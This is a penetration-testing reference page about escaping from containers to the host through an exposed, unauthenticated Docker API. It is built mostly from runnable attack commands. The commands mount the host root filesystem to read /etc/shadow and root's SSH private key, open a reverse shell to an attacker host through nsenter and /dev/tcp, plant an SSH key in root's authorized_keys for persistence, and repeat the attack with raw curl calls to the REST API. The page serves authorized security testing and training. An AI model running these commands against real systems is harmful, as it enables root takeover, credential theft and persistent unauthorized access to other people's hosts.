# Docker API Container Escape

- **URL:** https://hackindex.io/services/docker-api/exploitation/docker-api-container-escape
- **Path:** Docker API > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/docker-api/exploitation.md)
- **Published:** 2026-04-04
- **Updated:** 2026-04-04

Unauthenticated Docker API access enables launching a new container with the host filesystem mounted inside it. Since the Docker daemon runs as root, the new container has full read-write access to every file on the host. Combining this with `nsenter` (a tool for entering Linux namespaces) produces a root shell on the host system outside any container boundary. This is the primary exploitation path for exposed Docker API and consistently appears on HTB machines and real-world engagements. Confirm unauthenticated access through [unauthenticated access assessment](https://hackindex.io/services/docker-api/vulnerability-discovery/docker-api-unauthenticated-access) first.

- Method 1: Mount Host Filesystem and Read Sensitive Files
- Method 2: Get a Reverse Shell on the Host with nsenter
- Method 3: Write SSH Key to Host
- Method 4: Via the REST API Without the Docker CLI

## Method 1: Mount Host Filesystem and Read Sensitive Files

Start a container with the host root filesystem mounted at `/host`. Use any image already present on the target to avoid a slow pull:

```bash
export DOCKER_HOST=tcp://$TARGET_IP:2375
# Use an image already on the host
docker images --format '{{.Repository}}:{{.Tag}}' | head -3
# nginx:latest
# mysql:8.0
# ubuntu:22.04
```

```bash
docker run -it --rm -v /:/host ubuntu:22.04 chroot /host bash
# root@a1b2c3d4e5f6:/#
```

The `chroot /host` makes the container session behave as if it is running directly on the host filesystem. You now have a root shell on the host. Read `/etc/shadow`, SSH keys, and any other sensitive files:

```bash
docker run --rm -v /:/host ubuntu:22.04 chroot /host cat /etc/shadow
# root:$6$abc123$hashedpassword:19000:0:99999:7:::
```

```bash
docker run --rm -v /:/host ubuntu:22.04 chroot /host cat /root/.ssh/id_rsa 2>/dev/null
# -----BEGIN OPENSSH PRIVATE KEY-----
# b3BlbnNzaC1rZXk...
```

## Method 2: Get a Reverse Shell on the Host with nsenter

nsenter enters the PID 1 namespace on the host: stepping fully outside any container isolation:

```bash
nc -lvnp $LPORT &
docker run -it --rm --privileged --pid=host ubuntu:22.04 \
  nsenter -t 1 -m -u -i -n -p -- \
  bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'
```

`--pid=host` shares the host PID namespace with the container. `nsenter -t 1` enters all namespaces of PID 1 (the host init process). The resulting shell is running on the host with full root privileges, not inside any container.

## Method 3: Write SSH Key to Host

Plant an SSH public key in root's authorized_keys for persistent access without a reverse shell:

```bash
ssh-keygen -t ed25519 -f /tmp/docker_key -N '' -q
docker run --rm -v /:/host ubuntu:22.04 \
  bash -c "mkdir -p /host/root/.ssh && echo '$(cat /tmp/docker_key.pub)' >> /host/root/.ssh/authorized_keys && chmod 600 /host/root/.ssh/authorized_keys"
```

```bash
ssh -i /tmp/docker_key root@$TARGET_IP
# root@docker-host-01:~#
```

> [!CAUTION]
> Remove any planted SSH keys before engagement close. Document the exact key fingerprint and the path it was written to. Planted keys persist until explicitly removed.

## Method 4: Via the REST API Without the Docker CLI

When the docker CLI is not available on the attack machine, perform the same attack using raw API calls:

```bash
# Create a container with host filesystem mounted
curl -sk -X POST http://$TARGET_IP:2375/containers/create \
  -H 'Content-Type: application/json' \
  -d '{"Image":"ubuntu:22.04","Cmd":["/bin/bash","-c","cat /host/etc/shadow"],"Binds":["/:/host"],"HostConfig":{"Binds":["/:/host"]}}' | python3 -m json.tool | grep '"Id"'
# "Id": "c1d2e3f4a5b6..."
```

```bash
CID=c1d2e3f4a5b6
curl -sk -X POST http://$TARGET_IP:2375/containers/$CID/start
curl -sk -X POST http://$TARGET_IP:2375/containers/$CID/wait
curl -sk "http://$TARGET_IP:2375/containers/$CID/logs?stdout=1" | strings
# root:$6$abc123$hashedpassword:19000:0:99999:7:::
```

## References

- [Docker Engine API](https://docs.docker.com/engine/api/) - Container create, start, and logs API reference
- [nsenter(1) manual](https://man7.org/linux/man-pages/man1/nsenter.1.html) - Namespace entry: pid, mount, uts, ipc, net options
